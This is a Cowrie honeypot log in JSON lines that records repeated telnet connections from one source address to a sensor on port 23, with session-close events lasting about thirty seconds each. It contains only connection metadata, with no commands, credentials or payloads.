{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38254,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4879ffb1950","protocol":"telnet","message":"New connection: 204.10.38.242:38254 (159.203.135.109:23) [session: f4879ffb1950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:36.565449Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38360,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c81cca3c3c9","protocol":"telnet","message":"New connection: 204.10.38.242:38360 (159.203.135.109:23) [session: 2c81cca3c3c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:36.596653Z"}
{"eventid":"cowrie.session.closed","duration":31.510681629180908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:36.895832Z","src_ip":"204.10.38.242","session":"d17fa2a92874","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.903308629989624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:37.164315Z","src_ip":"204.10.38.242","session":"c9e1767477b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.509518146514893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:37.205123Z","src_ip":"204.10.38.242","session":"cec646c8f5f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78930974006653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:37.216609Z","src_ip":"204.10.38.242","session":"706d6d6996af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90297508239746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:37.221153Z","src_ip":"204.10.38.242","session":"b8849162dae9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.944774627685547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:37.242692Z","src_ip":"204.10.38.242","session":"a51957ab6180","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40856,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c4f6ab3a5e3","protocol":"telnet","message":"New connection: 204.10.38.242:40856 (159.203.135.109:23) [session: 5c4f6ab3a5e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:37.292003Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50702,"dst_ip":"159.203.135.109","dst_port":23,"session":"b69ae65f8f2c","protocol":"telnet","message":"New connection: 204.10.38.242:50702 (159.203.135.109:23) [session: b69ae65f8f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:37.335980Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42268,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bdddccd7ce3","protocol":"telnet","message":"New connection: 204.10.38.242:42268 (159.203.135.109:23) [session: 0bdddccd7ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:37.423453Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44226,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b6a373e1e86","protocol":"telnet","message":"New connection: 204.10.38.242:44226 (159.203.135.109:23) [session: 4b6a373e1e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:37.879291Z"}
{"eventid":"cowrie.session.closed","duration":31.828362703323364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:37.892416Z","src_ip":"204.10.38.242","session":"a92b6dddaf23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":45760,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7bba78212e2","protocol":"telnet","message":"New connection: 204.10.38.242:45760 (159.203.135.109:23) [session: a7bba78212e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:38.282219Z"}
{"eventid":"cowrie.session.closed","duration":30.767505645751953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:38.287012Z","src_ip":"204.10.38.242","session":"e93bd3662674","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25318193435669,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:38.593282Z","src_ip":"204.10.38.242","session":"b5497247bfed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9733624458313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:38.650635Z","src_ip":"204.10.38.242","session":"fdbe084523c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34148,"dst_ip":"159.203.135.109","dst_port":23,"session":"bce08a0a186f","protocol":"telnet","message":"New connection: 204.10.38.242:34148 (159.203.135.109:23) [session: bce08a0a186f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:38.684871Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38854,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bd3735c0560","protocol":"telnet","message":"New connection: 204.10.38.242:38854 (159.203.135.109:23) [session: 1bd3735c0560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:38.720436Z"}
{"eventid":"cowrie.session.closed","duration":30.314831972122192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:39.039711Z","src_ip":"204.10.38.242","session":"7a1b2d649fb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":49596,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e9325090f36","protocol":"telnet","message":"New connection: 204.10.38.242:49596 (159.203.135.109:23) [session: 8e9325090f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:39.064544Z"}
{"eventid":"cowrie.session.closed","duration":31.023598432540894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:39.105670Z","src_ip":"204.10.38.242","session":"dbb77f69c754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35346746444702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:39.134604Z","src_ip":"204.10.38.242","session":"636259e54f16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902758359909058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:39.230319Z","src_ip":"204.10.38.242","session":"41a4fd094ad9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.883032083511353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:39.284248Z","src_ip":"204.10.38.242","session":"8cd4445d23bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.156561136245728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:39.309745Z","src_ip":"204.10.38.242","session":"96dca12bc13e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.314756155014038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:39.348360Z","src_ip":"204.10.38.242","session":"043aa302da74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51596,"dst_ip":"159.203.135.109","dst_port":23,"session":"69c75c647147","protocol":"telnet","message":"New connection: 204.10.38.242:51596 (159.203.135.109:23) [session: 69c75c647147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:39.454929Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40990,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3e90cbf59b5","protocol":"telnet","message":"New connection: 204.10.38.242:40990 (159.203.135.109:23) [session: b3e90cbf59b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:39.607498Z"}
{"eventid":"cowrie.session.closed","duration":30.784711599349976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:40.064116Z","src_ip":"204.10.38.242","session":"953b3e9d6a98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.631139039993286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:40.079300Z","src_ip":"204.10.38.242","session":"2a81dc25f10c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.643478870391846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:40.095940Z","src_ip":"204.10.38.242","session":"1058418852d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.774131774902344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:40.155821Z","src_ip":"204.10.38.242","session":"ab725973f6b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54248,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2ea88420684","protocol":"telnet","message":"New connection: 204.10.38.242:54248 (159.203.135.109:23) [session: d2ea88420684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:40.205567Z"}
{"eventid":"cowrie.session.closed","duration":30.9687180519104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:40.212814Z","src_ip":"204.10.38.242","session":"c3dbdd446242","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.360214471817017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:40.224366Z","src_ip":"204.10.38.242","session":"d783a95a0cd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54418,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8f240fe8ce2","protocol":"telnet","message":"New connection: 204.10.38.242:54418 (159.203.135.109:23) [session: c8f240fe8ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:40.266783Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54750,"dst_ip":"159.203.135.109","dst_port":23,"session":"19cd7e49dc04","protocol":"telnet","message":"New connection: 204.10.38.242:54750 (159.203.135.109:23) [session: 19cd7e49dc04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:40.343766Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42498,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c1e872e55f4","protocol":"telnet","message":"New connection: 204.10.38.242:42498 (159.203.135.109:23) [session: 5c1e872e55f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:40.456901Z"}
{"eventid":"cowrie.session.closed","duration":31.778382778167725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:40.698156Z","src_ip":"204.10.38.242","session":"fc84a7f21bb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52882,"dst_ip":"159.203.135.109","dst_port":23,"session":"a88c3a76ce89","protocol":"telnet","message":"New connection: 204.10.38.242:52882 (159.203.135.109:23) [session: a88c3a76ce89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:40.795848Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57842,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d210253436e","protocol":"telnet","message":"New connection: 204.10.38.242:57842 (159.203.135.109:23) [session: 3d210253436e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:40.967185Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57962,"dst_ip":"159.203.135.109","dst_port":23,"session":"0544dd27f220","protocol":"telnet","message":"New connection: 204.10.38.242:57962 (159.203.135.109:23) [session: 0544dd27f220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:40.992731Z"}
{"eventid":"cowrie.session.closed","duration":31.85348868370056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:40.997487Z","src_ip":"204.10.38.242","session":"265c81a0024f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.664815187454224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:41.044072Z","src_ip":"204.10.38.242","session":"ecc90e06cc8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.464219331741333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:41.057666Z","src_ip":"204.10.38.242","session":"7d97985df5bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.654541730880737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:41.063761Z","src_ip":"204.10.38.242","session":"f16d8ec87931","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.328827619552612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:41.182017Z","src_ip":"204.10.38.242","session":"2c78e13c20ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":59410,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f368dc3db6f","protocol":"telnet","message":"New connection: 204.10.38.242:59410 (159.203.135.109:23) [session: 2f368dc3db6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:41.356106Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":59592,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b7ff183de98","protocol":"telnet","message":"New connection: 204.10.38.242:59592 (159.203.135.109:23) [session: 2b7ff183de98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:41.379835Z"}
{"eventid":"cowrie.session.closed","duration":30.8474223613739,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:41.685331Z","src_ip":"204.10.38.242","session":"743c6f9fdca9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33574,"dst_ip":"159.203.135.109","dst_port":23,"session":"2192709349a6","protocol":"telnet","message":"New connection: 204.10.38.242:33574 (159.203.135.109:23) [session: 2192709349a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:41.798964Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33910,"dst_ip":"159.203.135.109","dst_port":23,"session":"68b1ed375983","protocol":"telnet","message":"New connection: 204.10.38.242:33910 (159.203.135.109:23) [session: 68b1ed375983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:41.878731Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58444,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2d31c3f1d0d","protocol":"telnet","message":"New connection: 204.10.38.242:58444 (159.203.135.109:23) [session: b2d31c3f1d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:42.081185Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58476,"dst_ip":"159.203.135.109","dst_port":23,"session":"30ec74cac99f","protocol":"telnet","message":"New connection: 204.10.38.242:58476 (159.203.135.109:23) [session: 30ec74cac99f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:42.126153Z"}
{"eventid":"cowrie.session.closed","duration":30.71400809288025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:42.189553Z","src_ip":"204.10.38.242","session":"6f081e659e4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965765237808228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:42.194213Z","src_ip":"204.10.38.242","session":"6f0c20cd3076","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35340,"dst_ip":"159.203.135.109","dst_port":23,"session":"e142858361f6","protocol":"telnet","message":"New connection: 204.10.38.242:35340 (159.203.135.109:23) [session: e142858361f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:42.306135Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60388,"dst_ip":"159.203.135.109","dst_port":23,"session":"ead007141e5f","protocol":"telnet","message":"New connection: 204.10.38.242:60388 (159.203.135.109:23) [session: ead007141e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:42.494252Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37576,"dst_ip":"159.203.135.109","dst_port":23,"session":"39db26fbf691","protocol":"telnet","message":"New connection: 204.10.38.242:37576 (159.203.135.109:23) [session: 39db26fbf691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:42.664622Z"}
{"eventid":"cowrie.session.closed","duration":31.408846616744995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:42.757147Z","src_ip":"204.10.38.242","session":"73a08a8d5b72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35632,"dst_ip":"159.203.135.109","dst_port":23,"session":"584b7b3b54c8","protocol":"telnet","message":"New connection: 204.10.38.242:35632 (159.203.135.109:23) [session: 584b7b3b54c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:43.191485Z"}
{"eventid":"cowrie.session.closed","duration":30.798349142074585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:43.204550Z","src_ip":"204.10.38.242","session":"e00e73409b77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9376802444458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:43.219215Z","src_ip":"204.10.38.242","session":"86b56b438624","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89151644706726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:43.249695Z","src_ip":"204.10.38.242","session":"3cfa83a96366","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":39708,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8b9cb883a64","protocol":"telnet","message":"New connection: 204.10.38.242:39708 (159.203.135.109:23) [session: d8b9cb883a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:43.296514Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40252,"dst_ip":"159.203.135.109","dst_port":23,"session":"c28d34c5509c","protocol":"telnet","message":"New connection: 204.10.38.242:40252 (159.203.135.109:23) [session: c28d34c5509c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:43.372941Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40946,"dst_ip":"159.203.135.109","dst_port":23,"session":"f15dbd812b7b","protocol":"telnet","message":"New connection: 204.10.38.242:40946 (159.203.135.109:23) [session: f15dbd812b7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:43.462779Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":41132,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc45adee7161","protocol":"telnet","message":"New connection: 204.10.38.242:41132 (159.203.135.109:23) [session: cc45adee7161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:43.486969Z"}
{"eventid":"cowrie.session.closed","duration":31.232959032058716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:43.855067Z","src_ip":"204.10.38.242","session":"6d44ab827661","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74771285057068,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:44.045221Z","src_ip":"204.10.38.242","session":"193deca10817","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.505914449691772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:44.056792Z","src_ip":"204.10.38.242","session":"139050d1fbda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744445085525513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:44.126730Z","src_ip":"204.10.38.242","session":"ff7a14b4a5ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96992778778076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:44.213167Z","src_ip":"204.10.38.242","session":"b9e955c0a8e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42850,"dst_ip":"159.203.135.109","dst_port":23,"session":"30a1d57404fc","protocol":"telnet","message":"New connection: 204.10.38.242:42850 (159.203.135.109:23) [session: 30a1d57404fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:44.915802Z"}
{"eventid":"cowrie.session.closed","duration":31.097006797790527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:44.966475Z","src_ip":"204.10.38.242","session":"3f806fa11dd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42616,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce5fdca45a6f","protocol":"telnet","message":"New connection: 204.10.38.242:42616 (159.203.135.109:23) [session: ce5fdca45a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:45.345156Z"}
{"eventid":"cowrie.session.closed","duration":0.0048542022705078125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:45.349914Z","src_ip":"204.10.38.242","session":"ce5fdca45a6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5656681060791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:45.488996Z","src_ip":"204.10.38.242","session":"de99526be47c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51004,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9b2c92ac43e","protocol":"telnet","message":"New connection: 204.10.38.242:51004 (159.203.135.109:23) [session: d9b2c92ac43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:45.591823Z"}
{"eventid":"cowrie.session.closed","duration":31.401463985443115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:45.726350Z","src_ip":"204.10.38.242","session":"c690eea0d8c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.919877290725708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:45.857802Z","src_ip":"204.10.38.242","session":"804207db268d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53070,"dst_ip":"159.203.135.109","dst_port":23,"session":"54d1e40bc01e","protocol":"telnet","message":"New connection: 204.10.38.242:53070 (159.203.135.109:23) [session: 54d1e40bc01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:46.173121Z"}
